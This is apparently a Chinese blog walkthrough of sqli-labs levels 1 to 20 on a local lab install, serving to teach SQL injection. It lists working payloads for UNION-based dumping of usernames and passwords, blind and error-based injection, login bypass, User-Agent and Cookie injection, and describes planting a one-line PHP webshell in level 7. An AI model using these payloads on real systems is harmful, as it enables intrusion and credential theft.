Sqli-labs靶场1-20通关宝典

首先需要环境的搭建,用到的工具有Burp Suit抓包工具,phpstudy(关键)

首先下载phpstudy的压缩包,然后进行解压,双击图中的位置

进来是这个样子

要确保Apache和mysql都是开启状态

如果显示端口被占用,就更改端口号

更改成没有使用的端口号就可以

然后下载sqli-labs的压缩包,接要到phpstudy的www目录下

然后开始配置文件,双击打开上图中的文件夹,往下找到sql-connections此文件夹,然后点击进去,找到inc结尾的文件

然后进行文件配置,以记事本的形式打开,然后进行配置

更改成如图中所示,ok,配置完成,下面就可以开始靶场闯关了

第一关:查询注入点

开始界面如图:

如图中的提示,他要你输入id,这时我们就可以在网址后面加上?id =1

链接后面加上单引号(‘)查看返回的内容

可见我们是有报错的,有报错就证明有注入点的

当我们输入如下命令:会发现他又成功了

输入--的意义:因为--后面跟着至少一个空格是一种注释符号,用来注释掉其后面的语句,让其不被数据库所执行

接下来我们就可因深究漏洞,研究其数据库结构一系列操作

获取数据库信息

接下来判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效

测试到第 4 列无回显,说明表中一共有 3 列

?id=1' ORDER BY 4--+

接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3--+

接下来开始爆数据库名,我们选择第 2 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。

?id=99' UNION SELECT 1,database(),3 --+

接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

接下来爆 users 表的字段,在 information_schema.columns 爆出来

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

接下来我们爆出 users 表中的信息,这个表有用户名和密码这种敏感信息

id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

第二关:

第二关和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入

然后输入如下的的查询指令:

?id=-1 union select 1,2,group_concat(username ,id , password) from users

就会报出想要的一些信息

第三关:

第三关当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

当我们输入?id=1的时候,会显示成功

当我们输入?id=2的时候,会显示报错

可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

然后敲上如图的命令,会显示成功

然后我们就可以在此基础上进行sql注入了:

如下所有代码以此为基础进行构造

?id=2')--+

?id=1') order by 3--+

?id=-1') union select 1,2,3--+

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

在id后加入反斜杠\,发现是双引号括号")闭合

根据页面报错信息得知sql语句是双引号字符型且有括号

用如下命令进行sql注入:

?id=1") order by 3--+

?id=-1") union select 1,2,3--+

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关

寻找注入点 

在id后加入反斜杠\

根据上图报错原因应该是发现这个应该是单引号 ' 

开始进行注入测试

  1. 使用left()函数进行截取测试

?id=1' and left(version(),1)=3%23       //截取version()最左侧得到的值是否为3,如果为3返回you are in...

?id=1' and left(version(),1)=5%23   //you are in...

当我们输入?id=1' and left(version(),1)=3%23时:

当我们输入?id=1' and left(version(),1)=5%23时:

  1. 使用length判断长度

  1. 利用ascii码猜测数据库名

?id=1' and ascii(substr(database(),1,1))=115%23   //115对应的是s

然后我们可以利用Burp Suit来跑出数据库的名字

开启火狐代理

然后Burp suit开启拦截

抓包查看

进行结果排序,数据库的名字:security

第六关(操作和第五关差不多

在id后面敲上\

根据错误信息发现这个应该是双引号 " 闭合

开始进行注入测试

1.使用left()函数进行截取测试

?id=1' and left(version(),1)=3%23       //截取version()最左侧得到的值是否为3,如果为3返回you are in...

?id=1' and left(version(),1)=5%23   //you are in...

当我们输入?id=1' and left(version(),1)=3%23时:

当我们输入?id=1' and left(version(),1)=5%23时:

2.使用length判断长度

3.利用ascii码猜测数据库名

?id=1' and ascii(substr(database(),1,1))=115%23   

然后我们可以利用Burp Suit来跑出数据库的名字

开启火狐代理

然后Burp suit开启拦截

抓包查看

进行结果排序,数据库的名字:security

第七关

当我们输入?id=1’时会发现跟上述几关不太一样,不显示错误信息

当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串

因为单引号破坏了他原有语法结构,然后我输入id=1'--+时依旧报错

这时候我们可以输入id=1')--+发现依然报错

这时输入id=1'))--+,发现页面显示正常

需要多次尝试1‘  1“   1’) 1”)  1‘)) 最后我们发现是1‘))

这关我们主要就是往服务器上写入文件,比如一句话木马,我们首先要有一个存储文件的路径,也可以手动去查看,这里我们选择手动查看

找到路径之后,我们往这个路径下写入一个文件名为随意起nice的php文件,主要这里的路径要用双反斜杠\\,否则建立出来的文件名会加前缀

虽然报错

但创建成功

然后创建一个muma.php的文件,里面写入一句话muma

在弹出的弹窗中找到muma.php的位置,点击opper,之后右击,选择文件属性

找到index.php文件,寻找其中sql连接语句,顺藤摸瓜,找到数据库管理员信息

找到了管理员信息(其中,,用户、密码和主机之后,填写数据库管理的配置时 ,要用,)

再次右击刚才的地址,,点击数据库管理,点击配置,根据上图输入以下信息:

提交,就可以管理数据库啦,单击和双击只能选择那一项,需要点击执行,才能显示

第八关

首先判断注入类型输入id=1

输入?id=1‘

传入单引号的时候页面显示异常了,说明闭合方式是含有单引号的!

通过使用and 1=1 和and 1=2的状态来判断是否是单引号闭合

显然此时是单引号闭合,有布尔类型状态。使用布尔盲注

然后判断有多少个字段,使用order by证明有三个字段

以下便是通过布尔盲注来获取数据库信息的操作了

第九关

上来先判断是字符型注入,并且是延迟型注入(如何判断是不是延迟型,当你用二分法时不管左边还是右边都是对的,说明二分法就做不了了)

数据库的长度为8

这关跟第五关步骤是一样的,就不过多阐述

1.使用left()函数进行截取测试

2.使用length判断长度

3.利用ascii码猜测数据库名

获取到数据库名之后就可以进行如下操作:

获取用户:

获取密码:

第十关

和第九关相同,只是把单引号 ' 还成双引号 ’’

获取用户名

获取密码:

第十一关

从这一关开始,我们就进入到了POST注入的世界了。在接下来的几关中我们将陆续介绍关于POST注入的方法以及技巧

当我们输入1’ 时,根据报错信息我们可以知道大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型

这里我们使用--+注释就不行,需要换成#来注释

第十二关

当我们输入1'和1时候页面没有反应

当我们输入1’’时

就可以知道sql语句是双引号且有括号

那么我们可以构造下面语句进行sql注入。

1" ) or 1=1      #判断是否存在sql注入。

1" ) union select 1,2#

第十三关

首先判断数据类型

用户名随便写并使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入

输入:admin' OR 1 = 1#会提示有报错信息

输入admin' ) OR 1 = 1#会提示登陆成功

添加一个括号,单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合

接下来就是获取数据库的信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,网页返回正常

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,SQL 语句报错

说明是 2 列

使用 length() 函数判断数据库名字长度

uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit

使用二分法测试,最终得出数据库名字长度为 8

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名,使用 left(string, num) 函数返回字符串 String 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名字第一位不是‘a’

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

第十四关

判断数据类型

用户名随便写点东西然后使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。

网页提示登录失败,也没有返回语法错误的提示信息

a' OR 1 = 1#

以下内容,都显示登录失败且无回显

a )OR 1 =1#

a) )OR 1 =1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin" OR 1 = 1#

判断表有几列:

uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit,页面返回正常

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,网页返回 SQL 语法报错

所以,数据库有 2 列

使用 length()函数结合回显信息得出数据库名字长度为 8

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

使用 substr() 截取数据库名字的每个字符,判断其 ASCLL 值来判断是否正确

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit

最后得出数据库的名字为“security”

继续使用相同的方法继续爆出表明、字段名和其他信息

第十五关

POST 方式的布尔型盲注

浏览器访问 http://127.0.0.1/sqli-labs-master/Less-15/

然后开启火狐代理

Burpsuit拦截

开始截断数据包进行SQL注入

提交表单信息

进行抓包拦截查看

修改字段进行SQL 注入根据返回的图片来验证是否满足条件

POST 方式的时间盲注

跟上述操作步骤一样,只是修改上面实验的布尔盲注代码

第十六关

判断注入类型

用户名输入框,单引号闭合,OR 运算符构造恒真条件,使用“#”注释后面的 SQL 语句

网页提示登录失败,未返回任何信息

以下内容都会显示登录失败

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1#

注入双引号和括号,页面提示登录成功,此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

输入以下命令显示登录成功

") OR 1 = 1#

进行Burpsuit进行抓包

获取数据库信息

我们使用布尔盲注

判断表有几列

uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登录成功,无 SQL 报错

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登录失败,无 SQL 报错

得出数据库名字的长度

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

第十七关

判断注入类型

我们先按照网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码

切回到11关验证密码是否被修改,证明修改成功

接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败

利用Burp Suit抓包得知网页需要利用 Post 方法起脚的参数格式如下

表名,XPath_string 参数可以使用一个SELECT 查询结果,使用 group_concat() 函数聚合

爆字段名

第十八关

HTTP User-Agent 注入

浏览器访问  http://127.0.0.1/sqli-labs-master/Less-18/

然后开启火狐代理

Burpsuit拦截

表单登录

抓包拦截

修改 User-Agent 字段 添加一个 ’ 单引号

查询数据库版本信息

第十九关

登录表单信息

在Burpsuit上截取 HTTP 请求

使用单引号测试是否存在注入

接下来开始注入

1.报错注入

  1. 盲注测试

第二十关

Cookie注入

浏览器访问:  http://127.0.0.1/sqli-labs-master/Less-20/

表单登录

抓取到数据包我们点击放行,我们需要抓取包含 Cookie 信息的 HTTP

修改cookie后面的信息:

前端页面查看

进行报表查看,前面的操作一样,只是修改cookie后面的代码

暴字段

前面的操作一样,只是修改cookie后面的代码

暴数据

跟前面的操作一样,只是修改cookie的代码

感谢观看!

  • 38
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值